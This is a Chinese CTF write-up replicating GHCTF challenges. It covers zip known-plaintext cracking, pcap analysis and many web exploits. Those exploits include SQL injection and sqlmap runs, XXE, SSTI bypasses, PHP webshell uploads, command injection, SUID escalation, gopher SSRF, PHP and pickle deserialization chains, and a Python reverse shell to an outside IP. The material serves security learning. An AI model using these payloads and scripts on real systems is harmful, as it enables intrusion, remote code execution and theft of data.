前言
gh的题目都比较有质量,准备进行学习复现。
Misc
除了取证类的题目,其他都复现一下
一、mybrave
附件一个被加密的压缩包,里面一张png。

尝试过不是伪加密,爆破也不行。想过是已知明文攻击,不过没有已知文件,一下就没了思路
后来经过了解,发现已知明文攻击只需要知道连续的十二个字节即可。又正巧,png的前十二个字节是固定的,那么我们只要知道压缩包里是png,就可以尝试进行已知明文攻击。
那么,先搞个图片吧。

然后用bkcrack进行已知明文攻击(这里我尝试用ARCHPR,但是失败了)
1
|
./bkcrack -C mybrave.zip -c mybrave.png -p mybrave.png
|
攻击完成之后,会爆出key,但是key并不是密码,用这个还是打不开,这里需要第二个命令
1
|
./bkcrack -C mybrave.zip -k 97d30dcc 173b15a8 6e0e7455 -U newzip easy
|
含义是把所有压缩key为上述key的压缩包复制为新的且密码改为easy。

之后用easy密码打开new.zip,可以看到图片。

这里是个base64,把.都去掉再解码就行了。

二、myleak
附件源码,环境有一个网站。(当时没截图,现在不想浪费金币)
dirsearch一下,发现robots.txt,进去后,找到webinfo.md,根据链接去github上下载网站源码。

分析代码可知,登录界面有明显漏洞,有显示密码长度错误,可以通过这个确定密码长度,还有密码一位一位检测,检测到一位正确时会强制休息0.1秒,可以通过这个慢慢测出密码。(当时爆了一天)
不会写脚本可以直接丢给ai,

有密码爆进去了,但是需要认证码。提示说要找到管理员的邮箱,这里要去之前下源码的github的页面里的活动里,可以找到管理员的邮箱。

再根据邮箱搜索,可以加入邮箱群,但是需要密码,这里密码就是之前爆出来的密码(在github的issue里有提示),然后就得到了认证码。

回到题目界面,输入认证码即可获得flag。
三、mycode
额,ai题,直接交给ai处理了。是一道算法题,这里不多赘述
四、mypixel
附件一个png,是一个像素,拖进随波逐流里之后并没有什么有用的信息,提示说时像素,想到lsb隐写,去stegsolve看看


做题的时候没想到要全选,这里明显是压缩包,提取一下
打开又是一个像素png

黑黑白白,maybe是二进制,(让ai)写个脚本试试看
五、mypcap
流量分析
问题1:请问被害者主机开放了哪些端口?提交的答案从小到大排序并用逗号隔开Q1:
文件里几乎都是请求,和404,这里初步判断是在dirsearch,题目要求找到被害者主机开发的端口,被害主机肯定就是http回应的主机,也就是192.168.252.136。在tcp处可以看到8080->50656的字样,可以推断处8080是端口之一。其他的端口也可以通过这种方式找到,但是无疑是大海捞针。

那怎么办呢?wp里有更简单的方式找到这些端口,这里提一下TCP的三次
握手。
第一次握手(SYN):
客户端 → 服务器
TCP标志位 :SYN=1
第二次握手(SYN-ACK):
服务器→ 客户端
(此时表明服务器获得了回应了请求,说明这里的端口是开放的)
TCP标志位 :SYN=1,ACK=1
第三次握手(ACK):
客户端 → 服务器
TCP标志位 :ACK=1,SYN=0
所以,我们只需要过滤SYN=0,就一定能找到开放的端口。

得到端口号 22 3306 8080
问题2:mrl64喜欢把数据库密码放到桌面上,这下被攻击者发现了,数据库的密码是什么呢?
既然是爆破,我们找到爆破成功的位置

之后肯定是一些注入,我自己分析不出来,直接看wp了。
wp说扫描之后,登录了tomcat

不过我不知道什么是tomcat,这里搜一下贴一个解释

然后上传了一个恶意war包,接着进行通信
找一下waf包可以发现以下包

把这个文件下载下来,用bandizip打开

可以得到这个,然后又卡住了

问题3:攻击者在数据库中找到了一个重要的数据,这个重要数据是什么?
流量分析中有关于mysql的流量,进入数据流中就能找到重要的数据

音频和取证题都没下,这里还是不浪费金币开题了,那么杂项就告一段落。
web
SQL???
知识点:sqlite注入、sqlmap的使用
注入点很明显是get方式的id

老规矩,先查字段


发现到六就会爆错,那么字段数应该是5了
本来先查库的,但是database()会爆错,试用sqlite_version()发现是sqlite。

接下来可以通过系统库sqlite_master来查询表和列(之前的ICLESCTF还不知道能用这查表和列)
1
|
select sql from sqlite_master --用于查表和列
|
1
|
id=1 union select 1,2,3,4,(select sql from sqlite_master)
|

这里表名和列名就都找到了,接下来是查数据啦
1
|
select group_concat(表名) from 列名 --用于查该表下的该列的数据
|
1
|
id=1 union select 1,2,3,4,(select group_concat(flag) from flag)
|

手搓版的讲完了,这里再尝试sqlmap的方式,这里用布尔盲注举例
1
|
python sqlmap.py -u "http://node1.anna.nssctf.cn:28106/?id=1" -p id --random-agent --fresh-queries --no-cast --technique=B --dbs #写给自己——这里也试试sqlmap -u ....的版本,因为我一开始一直没有成功.....
|
解释一下:
-u是url
-p是注入点
–random-agent为了随机UA头,避免被WAF认为是爬虫
–fresh-queries:禁用 SQLMap 的缓存机制,每次请求都重新生成新的查询,避免因缓存导致结果不准确。
–no-cast:禁用 SQLMap 对返回数据的类型转换,直接返回原始数据。适用于某些特殊场景(如数据库对类型处理不一致)。
–technique=B:-B指定布尔盲注的形式,- T指定时间盲注。(不写也行)
–dbs:获取数据库名字。
这里已经发现是sqlite了

然后也是成功检测到了

接下来是查表
1
|
python sqlmap.py -u "http://node1.anna.nssctf.cn:28746/?id=1" -p id --random-agent --fresh-queries --no-cast --technique=B --tables
|
查到表

查列
1
|
python sqlmap.py -u "http://node1.anna.nssctf.cn:28106/?id=1" -p id --random-agent --fresh-queries --no-cast --technique=B -T flag --columns
|

查数据
1
|
python sqlmap.py -u "http://node1.anna.nssctf.cn:28106/?id=1" -p id --random-agent --fresh-queries --no-cast --technique=B -T flag -C flag --dump
|

(>﹏<)
知识点:有回现xxe
有回显xxe,还算简单我就不开容器了。
题目中有源码,分析后可知,要去/ghctf的路由post xml这个参数,也没waf,直接打
1
2
3
4
5
6
7
|
<?xml version="1.0"?>
<?DOCTYPE creds[
<?ENTITY xx SYSTEM "file:///flag">
]>
<creds>
<name>&xx;</name> //源码要求name
</creds>
|
抓包上传的话,用下面这个,再url编码一下
1
|
<!DOCTYPE creds[<!ENTITY xxe SYSTEM "file:///flag">]><creds><name>&xxe;</name></creds>
|

或者写脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
import requests
url="http://node1.anna.nssctf.cn:28901/ghctf"
payload="""<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<root>
<name>&xxe;</name>
</root>"""
data={"xml":payload}
res = requests.post(url=url, data=data)
print(res.text)
|

upload?SSTI!
知识点:ssti
为数不多的我写出来了的题目,不浪费金币,这里一笔带过。
题目页面文件上传,给了源码。分析源码可知有ssti的漏洞,不过这个漏洞和普通的ssti不一样,他是把render_template_string()放在了渲染/uploads的路由里。
什么意思呢?就是我们的pyload需要写在文件中,然后上传上去。再访问那个页面就能看到ssti的回显了(/uploads/1.txt)
ssti有一点waf,这里用编码绕过即可
1
|
{{lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u0067\u0065\u0074")("\u006f\u0073")|attr("\u0070\u006f\u0070\u0065\u006e")(“ls /”)|attr("\u0072\u0065\u0061\u0064")()}}
|
UPUPUP
知识点:文件上传、.htaccess绕过
文件上传

可以看到是阿帕奇服务器,可以联想到.htaccess文件,直接传有waf,可以再文件前面加GIF89A

1.png同理

但是这样images目录下全都爆500的错误了
wp说,需要用另一种方式绕过
1
2
3
|
#define width 1
#define height 1
|

(意思是,将所有.png文件当作.php文件处理)
1.php也需要加上上面的绕过方法,上传成功
1
2
3
4
5
|
#define width 1
#define height 1
<?php @eval($_POST['a'])?>
|

蚁剑连接太麻烦了,我直接命令执行

GetShell
知识点:命令执行传马,suid提权
源码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
|
<?php
highlight_file(__FILE__);
class ConfigLoader {
private $config;
public function __construct() {
$this->config = [
'debug' => true,
'mode' => 'production',
'log_level' => 'info',
'max_input_length' => 100,
'min_password_length' => 8,
'allowed_actions' => ['run', 'debug', 'generate']
];
}
public function get($key) {
return $this->config[$key] ?? null;
}
}
class Logger {
private $logLevel;
public function __construct($logLevel) {
$this->logLevel = $logLevel;
}
public function log($message, $level = 'info') {
if ($level === $this->logLevel) {
echo "[LOG] $message\n";
}
}
}
class UserManager {
private $users = [];
private $logger;
public function __construct($logger) {
$this->logger = $logger;
}
public function addUser($username, $password) {
if (strlen($username) < 5) {
return "Username must be at least 5 characters";
}
if (strlen($password) < 8) {
return "Password must be at least 8 characters";
}
$this->users[$username] = password_hash($password, PASSWORD_BCRYPT);
$this->logger->log("User $username added");
return "User $username added";
}
public function authenticate($username, $password) {
if (isset($this->users[$username]) && password_verify($password, $this->users[$username])) {
$this->logger->log("User $username authenticated");
return "User $username authenticated";
}
return "Authentication failed";
}
}
class StringUtils {
public static function sanitize($input) {
return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
}
public static function generateRandomString($length = 10) {
return substr(str_shuffle(str_repeat($x = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', ceil($length / strlen($x)))), 1, $length);
}
}
class InputValidator {
private $maxLength;
public function __construct($maxLength) {
$this->maxLength = $maxLength;
}
public function validate($input) {
if (strlen($input) > $this->maxLength) {
return "Input exceeds maximum length of {$this->maxLength} characters";
}
return true;
}
}
class CommandExecutor {
private $logger;
public function __construct($logger) {
$this->logger = $logger;
}
public function execute($input) {
if (strpos($input, ' ') !== false) {
$this->logger->log("Invalid input: space detected");
die('No spaces allowed');
}
@exec($input, $output);
$this->logger->log("Result: $input");
return implode("\n", $output);
}
}
class ActionHandler {
private $config;
private $logger;
private $executor;
public function __construct($config, $logger) {
$this->config = $config;
$this->logger = $logger;
$this->executor = new CommandExecutor($logger);
}
public function handle($action, $input) {
if (!in_array($action, $this->config->get('allowed_actions'))) {
return "Invalid action";
}
if ($action === 'run') {
$validator = new InputValidator($this->config->get('max_input_length'));
$validationResult = $validator->validate($input);
if ($validationResult !== true) {
return $validationResult;
}
return $this->executor->execute($input);
} elseif ($action === 'debug') {
return "Debug mode enabled";
} elseif ($action === 'generate') {
return "Random string: " . StringUtils::generateRandomString(15);
}
return "Unknown action";
}
}
if (isset($_REQUEST['action'])) {
$config = new ConfigLoader();
$logger = new Logger($config->get('log_level'));
$actionHandler = new ActionHandler($config, $logger);
$input = $_REQUEST['input'] ?? '';
echo $actionHandler->handle($_REQUEST['action'], $input);
} else {
$config = new ConfigLoader();
$logger = new Logger($config->get('log_level'));
$userManager = new UserManager($logger);
if (isset($_POST['register'])) {
$username = $_POST['username'];
$password = $_POST['password'];
echo $userManager->addUser($username, $password);
}
if (isset($_POST['login'])) {
$username = $_POST['username'];
$password = $_POST['password'];
echo $userManager->authenticate($username, $password);
}
$logger->log("No action provided, running default logic");
|
审计代码,发现可以get请求action=run,然后还有input参数可以进行命令执行

尝试get传pyload,尝试时发现空格被过滤了,用${IFS}过滤
1
|
action=run&input=ls${IFS}/;
|


不过因为cat${IFS}/flag是没有回显的,重定向符也失败了
反正这里已经可以命令执行了,我们再对方主机新建一个1.php里面写一句话木马。
其中PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+就是一句话木马
1
|
?/action=run&input=echo${IFS}"PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4="|${IFS}base64${IFS}-d>1.php
|
然后连接蚁剑,发现蚁剑也不能查看flag的内容,是因为没有权限(第一次知道蚁剑还能连终端,太帅了)

接下来我们可以通过wc文件进行suid提权。
所谓suid就是,你本来是www-data的权限,但是当你执⾏有suid权限的⽂件时,你会暂时拥有这⽂件所有者的权限(⽐如root)。
我们发现有个wc文件,从wp那里可以找到以下文档
wc | GTFOBins

在这个文档中能找到wc的使用方法,这里直接在蚁剑的终端执行命令就行

Goph3rrr
知识点:SSRF_gopher协议
这个题目其实猜的到是ssrf的gopher协议

页面什么都没有,dirsearch一下,发现app.py

审计代码后发现Manage路由里可以通过post传cmd命令执行,但是指定了只有本地可以访问。但是在Gopher路由里我们可以get传url,在这里打gopher协议进行ssrf,让Gopher路由替我们在Manage路由里post cmd。


我们先去/Manage路由里post一个cmd=env。抓包拿到编码前的pyload。
(至于为什么是env查看环境变量,其实也可以)

1
2
3
4
5
6
|
POST /Manage HTTP/1.1
Host: 127.0.0.1 //这里改了,不过该不该好像都可以
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
cmd=env
|
然后去编个码,编码规则在我ssrf的知识点总结里有,也有一个编码转换脚本,总之可以得到pyload
1
|
url=gopher%3A//0.0.0.0%3A8000/_POST%2520/Manage%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A8000%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25207%250D%250A%250D%250Acmd%253Denv%250D%250A
|

ez_readfile
知识点:docker-entrypoint.sh,file_get_contents命令执行(没写)
题面很简单,md5强碰撞,用fastcoll生成即可。



这样就说明file成功读取了passwd,绕过成功了,接下来就是找flag在哪里
这里预期解是用CVE-2024-2961即file_get_contents文件读取rce漏洞,有点过于繁琐(300行代码的脚本),这里就先不记录了
非预期解是读取docker-entrypoint.sh文件,出题人大部分使用(https://github.com/CTF-Archives/ctf-docker-template)里面的模板,然后出题人可能图方便,会遗留flag在该文件中。

这里可以看到flag被写入了一串乱码之中,再次读取即可
1
|
/f1wlxekj1lwjek1lkejzs1lwje1lwesjk1wldejlk1wcejl1kwjelk1wjcle1jklwecj1lkwcjel1kwjel1cwjl1jwlkew1jclkej1wlkcj1lkwej1lkcwjellag
|

Popppppp
知识点:反序列化pop链,原生类文件读取
应该是反序列化,题目如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
|
<?php
error_reporting(0);
class CherryBlossom {
public $fruit1;
public $fruit2;
public function __construct($a) {
$this->fruit1 = $a;
}
function __destruct() {
echo $this->fruit1;
}
public function __toString() {
$newFunc = $this->fruit2;
return $newFunc();
}
}
class Forbidden {
private $fruit3;
public function __construct($string) {
$this->fruit3 = $string;
}
public function __get($name) {
$var = $this->$name;
$var[$name]();
}
}
class Warlord {
public $fruit4;
public $fruit5;
public $arg1;
public function __call($arg1, $arg2) {
$function = $this->fruit4;
return $function();
}
public function __get($arg1) {
$this->fruit5->ll2('b2');
}
}
class Samurai {
public $fruit6;
public $fruit7;
public function __toString() {
$long = @$this->fruit6->add();
return $long;
}
public function __set($arg1, $arg2) {
if ($this->fruit7->tt2) {
echo "xxx are the best!!!";
}
}
}
class Mystery {
public function __get($arg1) {
array_walk($this, function ($day1, $day2) {
$day3 = new $day2($day1);
foreach ($day3 as $day4) {
echo ($day4 . '<br>');
}
});
}
}
class Princess {
protected $fruit9;
protected function addMe() {
return "The time spent with xxx is my happiest time" . $this->fruit9;
}
public function __call($func, $args) {
call_user_func([$this, $func . "Me"], $args);
}
}
class Philosopher {
public $fruit10;
public $fruit11="sr22kaDugamdwTPhG5zU";
public function __invoke() {
if (md5(md5($this->fruit11)) == 666) {
return $this->fruit10->hey;
}
}
}
class UselessTwo {
public $hiddenVar = "123123";
public function __construct($value) {
$this->hiddenVar = $value;
}
public function __toString() {
return $this->hiddenVar;
}
}
class Warrior {
public $fruit12;
private $fruit13;
public function __set($name, $value) {
$this->$name = $value;
if ($this->fruit13 == "xxx") {
strtolower($this->fruit12);
}
}
}
class UselessThree {
public $dummyVar;
public function __call($name, $args) {
return $name;
}
}
class UselessFour {
public $lalala;
public function __destruct() {
echo "Hehe";
}
}
if (isset($_GET['GHCTF'])) {
unserialize($_GET['GHCTF']);
} else {
highlight_file(__FILE__);
}
|
注入点并不是简单的eval,而是利用php的原生类进行读取目录以及读取文件
这个原生类之前在basectf中也有遇到过,不过没有深入研究,这里正好复习一遍。

在这个类中day3是day2的对象,day1则是构造day2对象时传去的参数,然后是一个遍历,我们可以看看下面这段代码
1
2
3
4
5
6
7
|
<?php
highlight_file(__FILE__);
$dir = $_GET['x1ongsec'];
$obj = new DirectoryIterator($dir);
foreach ($obj as $file) {
echo $file->__toString() . "</br>";
}
|
很明显,day2就是DirectoryIterator类,day1则是需要查看的文件路径,day3是对象,day4是要被读出来的内容。
这里解释一下array_walk($this, function ($day1, $day2),他会遍历当前对象的所有属性。所以我们只需要加上需要的类就行,$this会代指这个类。
所以我们要在源代码的基础上添加 public $DirectoryIterator=’/’; 这样就可以查看文件目录了。如果想看文件内容的话,就需要SplFileObject类来读取,这里的话之后再说。
我们找到链尾之后,就需要去还原整条pop链了
从链尾的__ get()函数开始,读取不可访问(protected或private)或不存在的属性的值时,__ get()会被自动调用。
我们找到Philosopher类,发现这个类中的hey是不存在的属性,可以直接被调用

不过这里有个双md5绕过,因为这里是弱比较之后以666+字母开头即可,所以可以交给ai跑一个代码出来
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
|
import hashlib
import itertools
import string
from multiprocessing import Pool
def double_md5(s):
"""计算字符串的两次MD5哈希"""
first = hashlib.md5(s.encode()).hexdigest()
second = hashlib.md5(first.encode()).hexdigest()
return second
def check_candidate(candidate):
"""检查字符串是否满足条件"""
s = ''.join(candidate)
result = double_md5(s)
if result.startswith('666') and result[3] in 'abcdef':
return s
return None
def find_valid_string():
"""多进程搜索符合条件的字符串"""
# 字符集:数字 + 小写字母(可根据需求调整)
chars = string.digits + string.ascii_lowercase
max_length = 6 # 初始搜索最大长度
with Pool() as pool:
for length in range(1, max_length + 1):
print(f"正在检查长度为{length}的字符串...")
# 生成所有可能的组合
combinations = itertools.product(chars, repeat=length)
# 使用多进程并行检查
for result in pool.imap_unordered(check_candidate, combinations, chunksize=10000):
if result is not None:
print(f"找到符合条件的字符串: {result}")
print(f"第一次MD5: {hashlib.md5(result.encode()).hexdigest()}")
print(f"第二次MD5: {double_md5(result)}")
return result
return None
if __name__ == "__main__":
result = find_valid_string()
if not result:
print("在指定范围内未找到符合条件的字符串")
#正在检查长度为1的字符串...
#正在检查长度为2的字符串...
#正在检查长度为3的字符串...
#找到符合条件的字符串: 213
#第一次MD5: 979d472a84804b9f647bc185a877a8b5
#第二次MD5: 666ca9a2be31fd949cb9b55686caef9a
|
那么接下来就是__ invoke()函数__ invoke():当尝试以调用函数的方式调用一个对象时,__invoke()方法会被自动调用。
我们找到接下来的类,fruit4会被当作函数运行,然后就是__ call()函数,在对象中调用一个不可访问方法时,__call会被调用。

我们找到接下来的这个类,它会调用add()这个不存在的函数,所以可以触发__call(),之后就需要触发toString():当一个类被当成字符串时输出时自动调用

接接接下来,我们找到这个类的__destruct()函数,这个函数是会自动调用的,那么至此,这条pop链就很清晰了

1
|
CherryBlossom [ __destruct() ] -> Samurai [ __tostring() ] -> Warlord [ __call() ] -> Philosopher [ __invoke() ] -> Mystery [ RCE ]
|
接着我们在在本地进行序列化,记得在Mystery类里加一个
1
|
public $DirectoryIterator='/';
|

(其实可以少写两步,而且不用每个类都这样创建对象,附上图)

成功读取目录

之后把$DirectoryIterator=’/’;换成$SplFileObject=’/flag44545615441084';

ezzzz_pickle
知识点:弱口令、文件读取(docker-entrypoint.sh、/proc/self/environ)、pickle反序列化

弱口令爆破,用户名admin,密码admin123(其实我一直觉得这里很难爆QAQ,万一字典不对……)

直接读取肯定是不对的,这里我们找不到其他信息就看看源代码

发现有hint,session_pickle!
抓个包看看,发现文件读取漏洞

可以读文件,那么活学活用ez_readfile,读一下docker-entrypoint.sh

读到了!

真要活学活用啊!
这里还是写一下预期解。
读个源码看看(python默认/app/app.py),这里可以过Wappalyzer知道是什么代码写的网页(如果是php的话,那就是/var/www/html/index.php)


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
|
from flask import Flask, request, redirect, make_response, render_template
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import pickle
import hmac
import hashlib
import base64
import time
import os
app = Flask(__name__)
def generate_key_iv():
key = os.environ.get('SECRET_key').encode()
iv = os.environ.get('SECRET_iv').encode()
return key, iv
def aes_encrypt_decrypt(data, key, iv, mode='encrypt'):
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
if mode == 'encrypt':
encryptor = cipher.encryptor()
padder = padding.PKCS7(algorithms.AES.block_size).padder()
padded_data = padder.update(data.encode()) + padder.finalize()
result = encryptor.update(padded_data) + encryptor.finalize()
return base64.b64encode(result).decode()
elif mode == 'decrypt':
decryptor = cipher.decryptor()
encrypted_data_bytes = base64.b64decode(data)
decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()
unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
return unpadded_data.decode()
users = {
"admin": "admin123",
}
def create_session(username):
session_data = {
"username": username,
"expires": time.time() + 3600
}
pickled = pickle.dumps(session_data)
pickled_data = base64.b64encode(pickled).decode('utf-8')
key, iv = generate_key_iv()
session = aes_encrypt_decrypt(pickled_data, key, iv, mode='encrypt')
return session
def dowload_file(filename):
path = os.path.join("static", filename)
with open(path, 'rb') as f:
data = f.read().decode('utf-8')
return data
def validate_session(cookie):
try:
key, iv = generate_key_iv()
pickled = aes_encrypt_decrypt(cookie, key, iv, mode='decrypt')
pickled_data = base64.b64decode(pickled)
session_data = pickle.loads(pickled_data)
if session_data["username"] != "admin":
return False
return session_data if session_data["expires"] > time.time() else False
except:
return False
@app.route("/", methods=['GET', 'POST'])
def index():
if "session" in request.cookies:
session = validate_session(request.cookies["session"])
if session:
data = ""
filename = request.form.get("filename")
if filename:
data = dowload_file(filename)
return render_template("index.html", name=session['username'], file_data=data)
return redirect("/login")
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form.get("username")
password = request.form.get("password")
if users.get(username) == password:
resp = make_response(redirect("/"))
resp.set_cookie("session", create_session(username))
return resp
return render_template("login.html", error="Invalid username or password")
return render_template("login.html")
@app.route("/logout")
def logout():
resp = make_response(redirect("/login"))
resp.delete_cookie("session")
return resp
if __name__ == "__main__":
app.run(host="0.0.0.0", debug=False)
|
审计代码用一下官方wp的话,
通过源码可以发现其session是通过pickle 序列化字典然后base64编码再AES加密在编码的结果,验证⽤户时session解码的过程也是base64解码AES解码base64解码pickle反序列化。那么我们只要能够获得这个加解密的key和iv就可以伪造出session从⽽控制pickle反序列化的内容,进⾏命令执⾏。
我们从下面这段代码可知,key和iv都是可以通过环境变量读的,可以通过/proc/self/environ(与语言无关)来读


然后用脚本写入内存马(小登学的真难受,内存马,pickle反序列化都不会)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
import os
import requests
import pickle
import base64
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
def aes_encrypt_decrypt(data, key, iv, mode='encrypt'):
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
if mode == 'encrypt':
encryptor = cipher.encryptor()
padder = padding.PKCS7(algorithms.AES.block_size).padder()
padded_data = padder.update(data.encode()) + padder.finalize()
result = encryptor.update(padded_data) + encryptor.finalize()
return base64.b64encode(result).decode()
elif mode == 'decrypt':
decryptor = cipher.decryptor()
encrypted_data_bytes = base64.b64decode(data)
decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()
unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
return unpadded_data.decode()
class A():
def __reduce__(self):
return (exec,("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('shell')).read()",))
def exp(url):
a = A()
pickled = pickle.dumps(a)
print(pickled)
key = b"ajwdopldwjdowpajdmslkmwjrfhgnbbv"
iv = b"asdwdggiouewhgpw"
pickled_data = base64.b64encode(pickled).decode('utf-8')
payload=aes_encrypt_decrypt(pickled_data,key,iv,mode='encrypt')
print(payload)
Cookie={"session":payload}
request = requests.post(url,cookies=Cookie)
print(request)
if __name__ == '__main__':
url="http://node6.anna.nssctf.cn:25869/"
exp(url)
|
然后根据内存马逻辑,需要去一个会报404的路由然后get传shell进行命令执行

但是考虑到作为小登的我不会内存马,我打算试试写文件
…
不会QAQ
Escape!
知识点:字符串逃逸,代码审计
Seay读一下源码,发现有个需要绕过exit的可命令执行的地方

但是写入文件需要admin权限,我们看一下身份验证逻辑

先是session解密,将解密内容进⾏反序列话,然后调⽤反序列化实例的isadmin⽅法。
但是我们没有密钥,不能伪造session,我们就看看登录逻辑


发现login返回一个user类,然后把这个类序列化后送去waf检测,检测之后然后,送去加密。
最后看看waf

很明显,把flag换成error,字数多了1个,便可以通过反序列化字符串逃逸出admin的身份。
具体exp如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
import requests
def exp(url):
data={"username":'flagflagflagflagflagflagflagflagflagflagflagflagflag
flagflagflagflagflagflagflagflag";s:7:"isadmin";b:1;}',"password":"123456"
}
r=requests.post(url+"register.php",data=data)
#print(r.text)
session = requests.Session()
login_response = session.post(url+"login.php", data=data)
shell={"filename":"php://filter/convert.base64-decode/resource=/var/ww
w/html/shell.php","txt":"aPD9waHAgZXZhbCgkX1BPU1RbMTIzXSk/Pg=="}
protected_response = session.post(url+"dashboard.php",data=shell)
response = requests.post(url+"shell.php",data={"123":"system('cat /fla
g');"})
print(response.text)
if __name__=="__main__":
url="http://node2.anna.nssctf.cn:28932/"
exp(url)
|
接下来,我们在用户名那运用字符串逃逸,这样就能逃逸出admin身份,
然后,有了admin身份就要绕过exit了。是用base64绕过(原理也很简单,就是把exit給base64解码了,这样就不会触发exit了),这里正确的编码应该是
1
|
PD9waHAgZXZhbCgkX1BPU1RbMTIzXSk/Pg==
|

但是需要加一个字母在前面,不然不会进行解码,关于原因,大概是以下两点

纯手动也很简单
Message in a Bottle
知识点:代码审计,bottle框架ssti
页面是个留言板,感觉像xss?有源码审计一下

可以发现,有template,模板渲染,是ssti的漏洞,然后waf过滤了’{’ ‘}’,根据bottle框架的官方文档里可以发现


我们可以用%来绕过{},不过需要先打一个换行符
可以打反弹shell(没成功)
1
2
|
%__import__('os').popen("python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"172.18.235.254\",5000));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"sh\")'").read()
|
也可以打内存马(没成功QAQ)
1
2
3
4
5
|
% from bottle import Bottle, request
% app=__import__('sys').modules['__main__'].__dict__['app']
% app.route("/shell","GET",lambda :__import__('os').popen(request.params.ge
t('lalala')).read())
|
Message in a Bottle plus
因为第一个都没成功,所以这个plus就讲个思路把,
把内存马用引号包裹,转化成字符串,就可以绕过检测。
小结
以上gh的复现就告一段落,有些丑陋,还得练。